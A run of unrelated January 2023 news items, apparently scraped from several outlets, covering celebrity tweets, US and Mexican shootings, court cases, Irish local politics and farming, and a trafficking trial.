Bollywood has long been under the weather, be it because of the boycott gangs or internal frictions. The Hindi film industry, popularly known as Bollywood, is often perceived as divided compared to other movie industries that appear more united. In the time and age when actors and actresses appear selfish, two superstars show us there's more than what the eye meets. Ajay Devgn and Shah Rukh Khan recently indulged in a heartwarming conversation on Twitter, which can be seen as a positive sign for the industry. Ajay, during the trailer launch of his upcoming film, Bholaa expressed love and support for SRKs forthcoming film Pathaan on its humongous advance bookings. Shah Rukh took to Twitter to share the video and thank Ajay for being a pillar of support. He also called him a wonderful actor and a beautiful human being. The Drishyam 2 actor, too, did not shy away from complimenting King Khan by writing, Dear @iamsrk, thank you for your love and presence. I value the bond we share as much as you do. Pathaan collections look poised to go through the roof. Im happy that as an industry things are looking up for us. [sic]

Shah Rukh Khan Showing Love to Ajay For His Kind Words on Pathaan

Ajay has been a pillar of support and love to me and my family for years. He is a wonderful actor and beautiful human being. Strong and silent. https://t.co/gbDD1Zc2rm  Shah Rukh Khan (@iamsrk) January 24, 2023

Ajay Devgn's Reply to SRK's Tweet Is So Heartwarming

Dear @iamsrk, thank you for your love and presence. I value the bond we share as much as you do. Pathaan collections look poised to go through the roof. Im happy that as an industry things are looking up for us. https://t.co/rpHVXoVvlr  Ajay Devgn (@ajaydevgn) January 24, 2023

(SocialLY brings you all the latest breaking news, viral trends and information from social media world, including Twitter, Instagram and Youtube. The above post is embeded directly from the user's social media account and LatestLY Staff may not have modified or edited the content body. The views and facts appearing in the social media post do not reflect the opinions of LatestLY, also LatestLY does not assume any responsibility or liability for the same.)
A man attempted to self-immolate in front of the Nepal Federal Parliament on Tuesday afternoon. The man set himself on fire just when the newly elected Prime Minister Pushpa Kamal Dahal walked out of the government building. The person has been identified as Prem Prasad Acharya from Illam District. He was taken to a hospital in Kirtipur for further treatment. Earthquake of Magnitude 5.8 Hits Nepal, Tremors Felt in Delhi-NCR.

Man Attempts Self-Immolation:

A person sets himself on fire in front of Nepals Federal Parliament The person has been identified as Prem Prasad Acharya from Illam Dist.Hes taken to burn hospital in Kirtipur: DR Mainali, SP of Metropolitan Police Complex Kathmandu to ANI over phone Source: CCTV Screengrab pic.twitter.com/jYpf9vIUQ0  ANI (@ANI) January 24, 2023

(SocialLY brings you all the latest breaking news, viral trends and information from social media world, including Twitter, Instagram and Youtube. The above post is embeded directly from the user's social media account and LatestLY Staff may not have modified or edited the content body. The views and facts appearing in the social media post do not reflect the opinions of LatestLY, also LatestLY does not assume any responsibility or liability for the same.)
The recent California mass shooting in Monterey Park has become one of the least 36 mass shootings in the United States so far this month.

It particularly targeted members of the Asian community, with the death toll of the massacre reaching 11.

Monterey Park Police Chief Scott Wiese said that officers were on the scene within three to four minutes. The suspect fled and went to another dance studio in nearby Alhambra, where he was tackled and disarmed by a civilian.

Authorities said that the gunman managed to escape, with police finding him a day later in a white van about 30 miles away in Torrance. He was dead from a self-inflicted gunshot wound.

The 72-year-old gunman was identified as Huu Chan Tran, who is an elderly Chinese immigrant who was described as being interested in dance and with a hot temper.

The gunman was arrested in 1990 for unlawful possession of a firearm, according to the sheriff.

Meanwhile, nine others were wounded in the shooting. Police identified that the Asian gunman used a pistol for the California mass shooting.

READ NEXT: Sacramento Mass Shooting: 1 Suspect Taken to Custody, But Police Expects More Arrests Over Heartbreaking Tragedy

California Mass Shooting

The LA County Sheriff Robert Luna said that the gunman's motive has yet to be known, saying they are "as curious as you are."

Investigators recovered 42 shell casings at the dancehall, which implied that 42 shots were fired in the attack, as reported by BBC News.

One victim was also found in a car outside the venue. It was not immediately clear if the person was shot before the attacker entered the building.

Police identified the gun as a Mac-10 semi-automatic pistol, which had "modifications" done to it. Police did not detail publicly how the gun had been altered.

The victims were women aged between 63 and 65, while other victims included two women and five men, who were all in their 50s, 60s, or 70s.

Wiese said that the problem is that they may never know why the gunman shot the victims, but he reassures the community that the investigation will continue, even though the suspect died.

California Mass Shooting Gunman

Investigators noted that authorities searched the elderly suspect's home, finding a rifle and hundreds of rounds of ammunition, with evidence he was creating gun silencers.

Tran fired 42 rounds at the Star Ballroom Dance Studio, killing 11 and wounding nine.

Luna said Tran drove to a nearby dance hall where Brandon Tsay was working. Tsay tackled the weapon from Tran and saved "countless lives."

Luna went on to say that Tsay was the "hero" who disarmed the suspect and described him as a "brave man."

California business records showed that Tran once owned a trucking company. It was also confirmed by his ex-wife, saying that he sometimes worked as a truck driver.

Tran's ex-wife said he was never violent to her but had a hot temper and would get upset if she missed a step dancing because he felt it made him look bad.

Congressman Judy Chu said that Tran was a serious dancer and offered to give free lessons to people.

Chu added that he and his wife divorced in 2005 after he was critical of her dance moves.

READ MORE: Sacramento Mass Shooting: 6 Dead, 12 Injured in 'Senseless Tragedy'

This article is owned by Latin Post.

Written by: Mary Webber

WATCH: At least 10 killed in California mass shooting - from CNN


Failed New Mexico Republican State House candidate Solomon Pena was ordered to be held in pretrial detention in his conspiracy case for the New Mexico shootings targetting Democrats from December last year until early January.

Pena, who lost his election in a one-sided race for a state House seat, allegedly hired five people to fire into the homes of several elected Democrats, including two state legislators and two Bernalillo County commissioners.

Following his overwhelming defeat, Pena made a series of baseless election fraud claims. He also pressured county commissioners not to certify the results despite losing by a wide margin, according to CBS News.

Judge David Murphy ruled the mastermind of the New Mexico shootings be held in pretrial detention as there were no conditions of release that would ensure public safety.

Evidence Against Solomon Pena Is Strong, Says Judge

Pena, 39, was identified and arrested thanks to authorities using cellphone and vehicle records, as well as witness interviews and bullet casings found at the areas where the shootings took place.

However, his lawyer questioned the credibility of one of the confidential witnesses, pointing out that the statements used in the criminal complaint were contradictory. She also argued that her client was not involved in any violent convictions and has not been in trouble with the law since his release from prison in 2016, aside from two traffic violations.

READ MORE: Supreme Court Rejects Donald Trump Again

As for the prosecution, they painted him as a "ringleader" who assembled a group to shoot at people's homes. They pointed to ballistics testing results that tied the firearm used in the attacks to him, as well as the car registered to Pena was the one used by one of the shooters in the attack on Senator Linda Lopez.

According to the Associated Press, the judge sided with the prosecutors. While he acknowledged that there are holes in the criminal complaint, he stated that the evidence against Pena is strong.

"I find the state has met its burden in proving that there are no release conditions that would reasonably protect the safety of others," Judge Murphy said.

Republican Party Backed Solomon Pena Despite Red Flags

Pena is one of the people who attended Donald Trump's January 6 rally in Washington that led to the January 6 Capitol Insurrection. He also adhered to Trump's lies that the elections were stolen despite strong evidence otherwise.

Like many election deniers in New Mexico, he was also solidly defeated as New Mexico is known to be a solidly blue state. Despite this, however, he still claims that the election was stolen. He also had many red flags, including his criminal record, as he was previously convicted of armed robbery.

Despite this, he was still embraced by the Republican Party, but now, it seems they are regretting it.

The Republican chairman for Valencia County, Michael Candelaria, one of the state's most prominent leaders, stated the dilemma that his party is facing right now. He spoke with the New York Times and admitted that it is difficult to appeal to Trump's most hardcore supporters but still reject the former president's lies and conspiracy theories.

Candelaria has pushed for leadership changes within the party since Pena's arrest. He told the outlet that had they done a good job of vetting Pena, they could have picked him apart. He then admitted that the party failed to vet him properly.

READ MORE: Republicans Investigated for Fake Elector Scheme in Michigan

This article is owned by Latin Post.

Written by: Rick Martin

WATCH: Judge: Solomon Pena to stay behind bars through trial - KRQE
Hundreds of people stood trial for the January 6 insurrection, and two of the most high-profile cases involved several members of the far-right Oath Keepers militia group and the infamous Arkansas man who placed his feet on Nancy Pelosi's desk.

A Washington D.C. jury convicted the well-known January 6 insurrectionist Richard "Bigo" Barnett of eight counts. These include felony charges of civil disorder and obstruction of an official proceeding.

According to USA Today, Barnett made a name for himself by breaking into then-House Speaker Nancy Pelosi's office before propping up both his feet on top of one of the desks there.

Barnett claimed that he left Pelosi a "nasty" note inside the desk. He also stated he took a personalized envelope from her office and left a quarter so his actions would not have been classified as theft. Despite this, he was still convicted of theft of government property.

READ NEXT: Proud Boys Attack on January 6 Was Coordinated

January 6 Insurrectionist Richard 'Bigo' Barnett Not Happy With Conviction

Richard "Bigo" Barnett's sentencing is scheduled on May 3. However, U.S. District Judge Christopher Cooper also allowed the infamous Trump supporter to remain free until his sentencing under certain conditions.

After the verdict, Barnett spoke to the press and noted that he would appeal his conviction, saying it was an "injustice." He told reporters, "This is not a jury of my peers."

That is despite the judge not siding with prosecutors who asked to keep Barnett in jail as he awaits sentencing. Their grounds were that the insurrectionist took a weapon into the office of the sitting Speaker of the House on January 6.

"We can only imagine what would have happened if (Pelosi) had been there at the time," said Justice Department prosecutor Alison Prout.

In his testimony, Barnett claimed he unwittingly entered Pelosi's office as he tried looking for the bathroom.

There, he also claimed that he encountered two photographers who told him to "act natural," resulting in his infamous and viral photo, according to the Associated Press.

4 Members of Far-Right Extremist Group Oath Keepers Also Convicted

The Barnett conviction happened on Monday when four other high-profile insurrectionists were also convicted.

However, these men were members of the far-right group, Oath Keepers, and they had a more serious case than the Arkansas man.

In a major victory for the Justice Department, Oath Keepers Joseph Hackett of Sarasota, Florida; Roberto Minuta of Prosper, Texas; David Moerschel of Punta Gorda, Florida; and Edward Vallejo of Phoenix, Arizona were all convicted of seditious conspiracy charges.

That was the latest conviction of such a rare case since their leader and founder, Stewart Rhodes, was also convicted of the same crime.

The verdict came after 12 hours of deliberation from the jury. They could face up to 20 years in prison for that specific crime if convicted.

The Associated Press noted that all four men were also convicted of other crimes, including two conspiracy charges and a charge of obstructing an official proceeding.

However, Minuta, Hackett, and Moerschel were also acquitted of lesser charges. No sentencing date has been set for them yet.

The Justice Department has charged nearly a thousand people in the Capitol riot, and about 500 people have reportedly pleaded guilty to riot-related charges.

READ MORE: Oath Keepers Founder Found Guilty of Seditious Conspiracy

This article is owned by Latin Post.

Written by: Rick Martin

WATCH: Oath Keepers Trial: Four More Members Found Guilty of Seditious Conspiracy In January 6 Case - From Forbes Breaking News
Two days after the California mass shooting in Monterey Park that claimed the lives of 11 people, another armed man killed seven people in a state's coastal community.

The latest mass shooting happened Monday in two different locations in Half Moon Bay, a coastal city roughly 30 miles south of San Francisco. According to BBC, the attacker was a local resident named Zhao Chunli, 67.

The news comes as California still mourns the loss of 11 lives during Lunar New Year celebrations in majority-Asian Monterey Park.

The suspect in the Half Moon Bay mass shooting surrendered to the San Mateo County Sheriff's Office roughly two hours after the incident Monday.

Four victims were found in a mushroom farm at 2:22 pm local time, and three more were located at a trucking company shortly after.

At a press conference, Sheriff Christina Corpus of San Mateo County reported that the suspect had driven himself to the police station and been taken into custody at around 4:40 pm.

She also said that the suspect was cooperating with authorities and was found to possess a semi-automatic pistol, which may have been used in the attack.

She noted that an eighth victim is being treated in a hospital and is in critical condition. Corpus said investigators believe he was married and a farm worker like his alleged victims and that he acted alone.

READ NEXT: Lunar New Year Shooting

California Mass Shooting Victims in Half Moon Bay Are Chinese, Motive Remains Unknown

City councilwoman Debbie Ruddock said all the victims were Chinese farm workers, and the motive is still unknown.

"Gun violence in this country is at completely unacceptable levels and has really hit home tonight," San Mateo County Board of Supervisors President David Pine said during the news briefing.

Ray Mueller, a member of the Board of Supervisors, also spoke out, urging people to use the city's mental health resources in the wake of the tragedy.

He noted that the latest California mass shooting came after heavy storms hit the state, and another mass shooting occurred this past weekend, PEOPLE reported.

"You are not alone. We have counseling services available," he said. "You can reach out to us on the county hotline. You are not alone, and we are here for you this evening."

California Mass Shooting in Monterey Park Kills 11

The recent California mass shooting in Monterey Park has become one of at least 36 mass shootings in the country so far this month.

It particularly targeted members of the Asian community, with the death toll of the massacre reaching 11.

Monterey Park Police Chief Scott Wiese said officers were on the scene at a ballroom dance club within three to four minutes Saturday.

The suspect fled and went to another dance studio in nearby Alhambra, where a civilian tackled and disarmed him.

Authorities said the gunman managed to escape, with police finding him a day later in a white van about 30 miles away in Torrance. He was dead from a self-inflicted gunshot wound.

The 72-year-old gunman was identified as Huu Chan Tran, an elderly Chinese immigrant who was interested in dancing but had a hot temper.

According to the sheriff, the gunman was arrested in 1990 for unlawful possession of a firearm. Nine others were also reported wounded in the shooting.

READ MORE: Businessman Ordered Bruno Pereira, Dom Phillips Assassination in Amazon

This article is owned by Latin Post.

Written by: Bert Hoover

WATCH: At Least Seven Dead in Shootings in Half Moon Bay, California - From MSNBC
A former mayoral candidate in Mexico, along with his wife and their two children, were among the six people shot and killed by several gunmen on Sunday during an ambush attack.

According to Mexico News Daily, the gunmen, traveling in at least three vehicles, opened fire on the Veracruz-Xalapa highway near the Veracruz International Airport and killed five people in a pickup truck and a man in a taxi.

In a social media post, the Veracruz Ministry of Public Security confirmed the deaths of six people and announced that one person was wounded.

It added that state and federal forces were already carrying out an operation to arrest the suspects and to ensure "order and social peace."

According to reports, former mayoral candidate Fernando Perez Vega's pickup truck was riddled with bullets by gunmen, who killed him, his wife, and their two children.

Perez ran as a candidate for mayor in the Veracruz municipality of Coxquihui in 2021 and was allegedly a leader of a criminal organization.

READ NEXT: El Chapo Case: Wives of Chicago Twins Who Helped Convict the Sinaloa Cartel Boss Used Drug Money on Lavish Trips, J.Lo Show

Former Mayoral Candidate in Mexico Is Allegedly a Leader of a Mexican Drug Cartel

Fernando Perez Vega, alias "El Pino," was a candidate for mayor in the Veracruz municipality of Coxquihui in 2021 and was allegedly a Mexican drug cartel leader.

Perez Vega was allegedly involved in extortion, kidnapping, and homicides. He reportedly attended a political event in Boca del Rio before he and his family were killed in the ambush.

His brother, Reveriano Perez Vega, known as "El Pelon," has served as Coxquihui's mayor on two occasions. The brothers had been accused of being the leaders of the Mexican drug cartel Los Pelones, founded as an enforcement wing of the Sinaloa Cartel.

Evidence indicated that the attack could be a "settling of scores between organized crime groups," said Veracruz Governor Cuitlahuac Garcia in a social media post.

It was not immediately clear who the pertained organized group was involved, but it was suggested that the Jalisco cartel may have launched the attack against Perez.

The Jalisco cartel shared a video a few days ago warning about their arrival on the borders of Veracruz and Oaxaca.

On January 18, the video showed several people with their faces covered and carrying long guns, claiming they arrived in the area to "clean the ground."

According to Mexico's Defense Ministry, Los Pelones are in a war for control of Veracruz with the Jalisco cartel and Sinaloa Cartel, among other criminal groups.

Notorious Jalisco Cartel of Mexico

The Jalisco New Generation Cartel is considered one of Mexico's most dangerous and powerful drug cartels. It reportedly had thousands of members and was allegedly involved in mass graves, kidnappings, acid baths, and video recording beheadings.

The Jalisco cartel had risen to power after Mexican security forces killed former Sinaloa Cartel capo Ignacio Coronel, known as "Nacho," in July 2010. Nacho's death resulted in the split of the Sinaloa Cartel into two factions - "La Resistencia" and "Torcidos."

The "Torcidos" became what is now the Jalisco cartel, which has since expanded rapidly in Mexico. The Jalisco cartel is currently being led by Nemesio "El Mencho" Oseguera Cervantes, who continues to evade capture.

The U.S. government has already offered a $10 million reward for information leading to his arrest. El Mencho remains to be the most elusive criminal and is reportedly hiding in Mexico.

READ MORE: El Chapo's Wife Emma Coronel Could Dismantle Sinaloa Cartel

This article is owned by Latin Post.

Written by: Mary Webber

WATCH: Integrantes De Un Grupo Criminal Anuncian Llegada a Veracruz Y Oaxaca - From MILENIO




The daughter of one of the highest-ranking House Democrats was arrested on Saturday for allegedly spray-painting a monument and assaulting a police officer during a protest in Boston.

Riley Dowell, who is the daughter of House Democratic Whip Katherine Clark, was reportedly born male and transitioned to female. Dowell was one of the 20 people protesting police brutality in what some call an Antifa rally on Saturday night.

When the police arrived, they reportedly saw Dowell spray-painting anti-police slogans "ACAB" that stands for "All Cops Are Bastards" and "NO COP CITY, which Antifa demonstrators recently used in Atlanta.

Dowell made her first court appearance on Monday and was accompanied by her father, Rodney S. Dowell, one of Boston's most well-known attorneys.

She pleaded not guilty to her charges which include vandalizing a historic marker or monument and assault and battery of a police officer, according to the Daily Mail. Dowell was reportedly arraigned under her birth name, Jared.

READ NEXT: Oath Keepers Founder Stewart Rhodes Convicted of Seditious Conspiracy

Timeline of the Boston Protests That Led to the Arrest of Top House Democrat's Daughter

The Boston Police Department referred to Katherine Clark's daughter as "Jared Dowell." Riley Dowell was born under that name but has since transitioned to becoming female, changing her name to Riley Dowell.

A protest occurred at the Parkman Bandstand Monument in the Boston Common at around 9:30 p.m. on Saturday. Cops who arrived at the scene reportedly saw Dowell vandalizing the monument.

But when police were about to arrest Dowell, Fox News reported that around 20 protesters surrounded them and yelled profanities through megaphones that also caused traffic to come to a standstill.

While the demonstrators were "interfering with the arrest, a police officer was reportedly hit in the face, causing bleeding to the nose and mouth.

Police said Dowell attempted to flee by flailing her arms, striking an officer who approached her. The cop was reportedly taken to a local hospital for evaluation and treatment.

Another protester, 27-year-old Andrea Colletti, was also arrested about an hour later. Like Dowell, she has also been accused of spray painting the monument. Dowell has been released after paying a bail worth $500,

Police officers in Boston were reportedly on "high alert" on Saturday as they expected an anti-law-enforcement demonstration in solidarity with "Atlanta Forest Defenders," Fox News reported.

Protests in Atlanta started after police officers shot and killed a demonstrator who allegedly opened fire on them, injuring one, earlier this week.

Top House Democrat Issues Statement on Daughter's Arrest

Following her daughter's arrest, top House Democrat Katherine Clark released a statement on social media. According to Politico, she acknowledged the incident, saying that it was a difficult time for her as a parent.

She added that her daughter will be "evaluated by the legal system, and I am confident in that process."

Last night, my daughter was arrested in Boston, Massachusetts. I love Riley, and this is a very difficult time in the cycle of joy and pain in parenting.



This will be evaluated by the legal system, and I am confident in that process.  Katherine Clark (@RepKClark) January 22, 2023

Clark is currently the second-highest-ranking Democrat in the House of Representatives after Minority Leader Hakeem Jeffries. She was elected whip last month.

When asked by reporters how she felt about her daughter getting arrested during a protest against police, she told them to refer to the statement she released on social media.

READ MORE: Stewart Rhodes Takes the Stand

This article is owned by Latin Post.

Written by: Rick Martin

WATCH: Daughter of Mass. Congresswoman Clashes With Police During Chaotic Protest - From WCVB Channel 5 Boston
Laurel, MS (39440)

Today

Light rain early. Then remaining cloudy. Low 54F. Winds SSW at 5 to 10 mph. Chance of rain 70%..

Tonight

Light rain early. Then remaining cloudy. Low 54F. Winds SSW at 5 to 10 mph. Chance of rain 70%.
Portlaoise people are reportedly "fed up" at a delay to create a Covid pandemic area of reflection in the town.

It is a year since all Covid restrictions were lifted following two years of the pandemic in Ireland. So far, 145 people died with the virus in Laois.

Cllr Noel Tuohy from Portlaoise Municipal District has made his final formal call to create an area of reflection in memory of the people who died.

Cllr Tuohy who is retiring early on health grounds this month, tabled his second motion on the issue, to the January meeting of the district.

He requests that an area be cleared by Laois County Council, at the pedestrian entrance to the Town Park, to be used as an area of reflection for those bereaved during Covid times.

"I've been pushing this for a while. People are a bit fed up," he said.

Cllr Tuohy said that the virus "hasn't gone away".

"We need to bear that in mind. I am going to a funeral tomorrow of somebody who died from Covid," he said.

"I have spoken on this area of reflection on a number of occasions and the value and need of such an area. It would serve as an acknowledgement for those who lost their lives, those who have been bereaved during Covid times and those who suffered other hardships.

"And I believe it would serve a need and be a valued place for a lot of people. Terry Swayne of Portlaoise Stone has offered to supply a stone free of charge, and Wes assures me it will be landscaped with seating. I look forward to seeing it in place," Cllr Tuohy said.

In reply, engineer Wes Wilkinson said that the Portlaoise Municipal District office will draw up proposals for planting and landscaping for the area of reflection, in the location suggested.

No timescale was given for completing the project.

It is to be located inside the pedestrian entrance to the People's Park on the Timahoe Road in Portlaoise.

Cllr Caroline Dwane Stanley supported the motion.

"It will look back on the complete destruction of Covid. Many lives were lost, it is important to have a reflection area for people to go to. I hope to get it before Noel retires," she said.

Cllr John Joe Fennelly said that they have a Covid reflection area already in Abbeyleix.

"The amount of people that come and sit there, to eat an ice cream or to reflect. So many people lost their lives, it is a lovely place to sit and relax," he said.

Cllr Barry Walsh, Cathaoirleach of the district said "it is important to mark this as a piece of history".

So far since the start of the pandemic, 145 people have died from Covid-19 in Laois, according to latest figures from the Central Statistics Office.
The State has appealed the fully suspended sentence given to a "family man" who laundered over 120K while he was in receipt of social welfare, a sum the Court of Appeal heard he will be repaying for the rest of his life.

The court also heard on Monday, January 23 that Timmy OReilly (47), who has never filed a return to Revenue, previously had a suspended sentence imposed on him for assault causing harm.

OReilly (47), of St Marys, Hebron Road, Kilkenny, was given an 18-month fully-suspended sentence by Judge Cormac Quinn at Kilkenny Circuit Criminal Court on July 28, 2022.

O'Reilly had pleaded guilty to eight counts of offences contrary to Section 7 (a) and Section 7 (b) of the Criminal Justice (Money Laundering and Terrorist Financing) Act 2010.

In all, O'Reilly had been charged with 32 money laundering offences in relation to monies totalling around 125K found in one Irish Life account and two Credit Union accounts while he was in receipt of social welfare payments over eight years.

At total of 24 counts of money laundering were taken into account by Judge Quinn, with all charges relating to the period between January 1, 2011, and December 31, 2018.

Dylan Redmond BL, for the State, told the Court of Appeal on Monday that the trial judge had identified three years' imprisonment as a headline sentence but after reviewing mitigating circumstances reduced the sentence to 18 months before suspending it entirely.

Mr Redmond said that there was 114,000 identified in the Irish Life account held by O'Reilly and that gardai and the Criminal Assets Bureau had carried out investigations in the matter. The two credit union accounts held a total of around 10,500. Mr Redmond said it was the view of the Director of Public Prosecutions that a custodial term had to be imposed.

The barrister said O'Reilly had 15 previous convictions and had a suspended sentence imposed on him in 2015 for assault causing harm.

Mr Redmond said O'Reilly had never filed a return with revenue and that the monies were forfeited to them.

Counsel said that it was the view of the DPP that a general and specific deterrent should be imposed regarding O'Reilly's sentence.

Mr Redmond said that O'Reilly was in charge of the Irish Life and account and was the sole beneficiary in that regard.

He said that O'Reilly's co-accused - who were all members of his family - received suspended sentences because they were judged to have been led by the appellant.

James Dwyer SC, for O'Reilly, said that the monies had been lodged over a long period of time but had remained "inactive". He said the money was not a result of "some hot-bed of criminal activity" and had not been "scurried off into another account to escape the authorities".

"They were there to be taken," said Mr Dwyer, who added that all of the money had been seized.

Regarding deterrence, Mr Dwyer said O'Reilly was sentenced and was on a bond that he has complied with and that his previous convictions were not relevant to the matters under appeal.

Mr Dwyer said his client had entered a "valuable" early plea of guilty on all eight matters, that he was generally co-operative, did not challenge any freezing orders and showed remorse.

Counsel said that O'Reilly was a "family man" who played a constructive role in the community but had psychological issues. Mr Dwyer added that there was no suggestion of there being a grander criminal scheme or of a criminal organisation being involved.

Mr Dwyer said the suspended sentence was within the discretion of the trial judge and that repayments of social welfare would extend beyond O'Reilly's life.

Mr Justice George Birmingham, presiding at the three-judge court, said the court would reserve its judgement in the matter.
Two women have gone on trial accused of trafficking two Brazilian women, who were allegedly moved between rural towns including Portarlington and required to work as prostitutes.

On the first day of the Dublin Circuit Criminal Court trial, Garnet Orange SC, prosecuting, said the trial would give an insight to a side of the country many of us weren't aware of. It is expected to run for six weeks.

Natalia Nogueira Da Silva (32), of Cairn Hill View, Drumlish, Co Longford, pleaded not guilty to one count of human trafficking a woman at an unknown location within the State on dates between March 31, 2019 and May 18, 2019.

She pleaded guilty in front of the jury to one count of organising prostitution at an unknown location within the State on dates between December 5, 2018 and May 18, 2019.

She also admitted one count of facilitating the entry into the State of a person she knew to be illegal on March 31, 2019 at Dublin Airport, along with 33 counts of money laundering the proceeds of crime on dates between March 2020 and May 2021.

Da Silva's co-accused, Ivanilce (Lisa) Vailones Fidelis, (46), of Castle Manor, Racecourse Road, Roscommon, pleaded not guilty to all 18 counts against her.

Fidelis denied two counts of human trafficking two women at various locations within the State on dates between December 2018 and May 2019. She pleaded not guilty to one count of organising prostitution during the same time period.

Fidelis further pleaded not guilty to 14 counts of money laundering the proceeds of crime on dates between January 2015 and December 2020 and one count of removing proceeds of crime from the State during the same time period.

The State alleges the two accused women trafficked two vulnerable Brazilian women for the purposes of exploiting those women and taking advantage of their vulnerability to such an extent as to cause the trafficked person to have no real or acceptable alternative but to submit to being trafficked.

Opening the case to the jury, Mr Orange said it would hear evidence the two Brazilian women, who cannot be named for legal reasons, were living hand to mouth in their home country before they arrived in Ireland. He said the women did not have visas, but had been told there was a scheme where they could enter the country and take up work.

Very soon after they arrived, they realised it was expected of them that they would be engaged in prostitution, Mr Orange said.

The prosecution said the trial would hear that the women were not known to each other. They were met separately at the airport before being taken to various rural towns, where they were expected to work as prostitutes for one week before being moved on to another town.

Mr Orange said the jury would hear evidence that the two accused women were actively involved in organising (the two women) as prostitutes within the State.

Ms Da Silva has pleaded guilty to that, he added.

You'll hear of towns around the country to which they were brought, week after week after week, Mr Orange said, saying the women spent time in accommodation in Portarlington, Thurles, Tralee, Enniscorthy and Roscommon, among other places.

Both women had profiles on a website called 'Escort Ireland', which the prosecution alleges were set up by the two accused.

Escort Ireland seems to have been central to the organisation because it provided the means by which clients or customers made arrangements to meet prostitutes, Mr Orange said.

The prosecution case is that the women couldn't just walk away from their situation for two reasons  the first being that they were allegedly in a debt bondage situation whereby they owed money for their plane tickets and other expenses and were being charged exorbitant rent for their accommodation.

Debt bondage leads to a situation where you can walk away once you've paid your debt, but you can never earn enough to pay the debt, Mr Orange said.

The second reason the women did not leave their alleged situation was because they were being threatened, the prosecution alleges.

Mr Orange said the jury would hear evidence of threats, and apprehensions in general, not just for their own safety but the safety of their families in Brazil.

Mr Orange said the jury would hear how the women did eventually go to gardai and how the investigation against the two accused women then commenced.

The first complainant in the trial gave evidence on Tuesday, January 24 via videolink. Speaking thorugh an interpreter, the 35-year-old woman told the court that in 2019, she was living in her native Salvadore, Brazil with her two children.

She told the court she wanted to open a hair salon in Salvadore and was told by a third party how she could come to Ireland to earn money to realise my dream. She told the court she was put in contact with two women named Lisa and Natalia, and that Lisa paid for her plane tickets to Ireland.

The woman told the court Lisa told her to tell immigration that she was staying with friends, which she did, before she was met by Natalia outside the airport. She said she was brought to Penneys to buy clothes, given an Irish sim card for her phone and then driven to an apartment in Portarlington.

She said it was the next morning that she was phoned by Lisa, who told her she would be sending men to the apartment.

The woman said she was told everything I was supposed to do in relation to prostitution and that she got very nervous. She told the court she rang the third party who had first told her about coming to Ireland.

(This person) told me I should avoid confrontation with them because it wasn't safe, I should wait for three months to be up and then I could leave, the woman said.

The trial continues before Judge Patricia Ryan and a jury.
A new homeless street outreach initiative has been launched in Naas by Aontu, the political party.

And the service will be provided on a weekly basis on the main street every Tuesday at 6.30pm.

Anita Mhic Gib, cathaoirleach of the party in County Kildare says its encouraged by the response from both the public and service users alike.

The people of Naas were just so good and dropped off toiletries, nappies and other baby necessities and some non-perishable foods that we can distribute to the homeless of the area through our on street homeless outreach.

She added: Naturally, we would prefer if this service wasnt needed as it is just terrible to witness human beings being in such a vulnerable and desperate situation, but we are committed to doing what we can to help.

She said those involved were humbled by the reaction of the homeless people who were so grateful to see us.

She said: They were happy to enjoy a hot cup of soup, eat some food and just chat. That is what struck us very forcibly; they want to be seen, they want to be heard and they badly need and want people to listen to them. Being homeless is a very solitary and isolating experience, its dehumanising and we in Aontu Cill Dara hope to bring some compassion and humanity to those who find themselves in such an awful plight.

Read more Kildare news
Over 220 farmers and representatives of the Tillage Sector attended Quinns of Baltinglass Sustainable Tillage Conference held in The Killashee Hotel last Wednesday.

Quinns launched a new Sustainable Tillage Programme which will monitor best practices on 6 tillage farmers in the Leinster region. The results from the monitored farms will be shared with Quinns customers throughout the year (anyone can subscribe to get updates by emailing subscribe@quinns.ie).

William Quinn spoke of the changes that Quinns have made and are planning to make in order to be as sustainable as possible which will benefit the customer as well as the environment.

Valerie Hobson, Head of Feed at Quinns, also spoke about the carbon footprint equivalents (c02e) of feed using native grains vs imported grains. Quinns are a large buyer of native cereals whilst also being a feed miller. Valerie outlined how a typical beef ration containing Irish grain and protein had a carbon footprint of 281kg of CO2e/t. Thats 240kg/t of CO2 lower than a comparable ration containing imported maize and soya, which had a carbon footprint of 521kg of CO2e/t. carbon per tonne.

The Quinns nutritionist also outlined the differences in the carbon footprint of dairy rations. An Irish cereal and bean based 19% dairy pellet came in at 1,298kg of CO2e/t, while the maize/soya-based 19% dairy pellet had a carbon footprint of 2,098kg of CO2e/t making the Irish cereal/bean based pellet to have 60% less emissions.

John OLoughlin of Grassland Agro spoke passionately about sustainable production systems and how soil health needs to be the forefront of the tillage industry. The farmers attending agreed, with over 81% of them have soil tested in the last 12 months according to an audience poll.

The interest in liquid fertiliser was a hot topic on the night with Edward Dickinson of Omex presenting. He gave a very interactive and positive presentation on the benefits of liquid fertiliser. According to another audience poll on the night, 68% of the attendees may consider using liquid fertiliser in 2023.

Shay Phelan of Teagasc gave a very interesting talk on grass weeds and the need to take control of their own crops and not rely totally on their agronomist.

Phelim Dolan of grain brokers Comex McKinnon spoke about the challenges that growers and traders face in the current economic climate and touched on war, politics and weather but the message from Phelim was clear  take profit when the opportunity presents itself.
The businessman who paid for minister Paschal Donohoes 2016 election posters has resigned from two boards after revelations he also paid for postering in 2020.

Michael Stone is quitting as voluntary chairman of the North East Inner City Programme Implementation Board and as a board member of the Land Development Agency.

In his first statement since the issue arose, Mr Stone said he did not know payments for the 2016 general election posters needed to be accounted for in Mr Donohoes electoral expenses.

I understand and fully accept that his team believed the support I provided to be voluntary, he said ahead of Mr Donohoes statement to the Dail.

Mr Stone also said he mistakenly believed he had not paid for help putting up posters as part of the most recent general election.

In December 2022, Paschal asked me whether I had provided such help with the 2020 election. I mistakenly believed that I had not and told him so. On Wednesday January 18 2023, I again confirmed to him my mistaken recollection.

Mr Donohoe gave a short statement to the Dail on January 18 over the election expenses issue, apologising and saying he wanted to be fully transparent.

Mr Stone said on Tuesday: When I heard later that day that the 2020 election had been raised in the Dail, I had the matter rechecked and discovered that my recollection was wrong and that, in fact, similar assistance had been given with postering in the 2020 election.

I immediately contacted Paschal and told him so and apologised for my mistake.

He said six people were paid across five dates before and after polling day at a cost of 972 euro, while the cost of using commercial vans was 434.20 euro.

Mr Donohoe told the Dail later on Tuesday that this amount breached the maximum corporate donation of 200 euro, and that the amount received in excess, 234.20 euro, has been refunded to the Designer Group, of which Mr Stone is a CEO.

The ethics watchdog Sipo has also been notified of the breach, Mr Donohoe said.

The help given in 2020 was arranged through a member of the Fine Gael team in Dublin Central and I had not discussed it with Paschal at that time, Mr Stone said in a statement.

I deeply regret any embarrassment that I have caused Paschal for my mistaken recollection in relation to 2020 and for what I thought was modest help for a hardworking, honest politician.

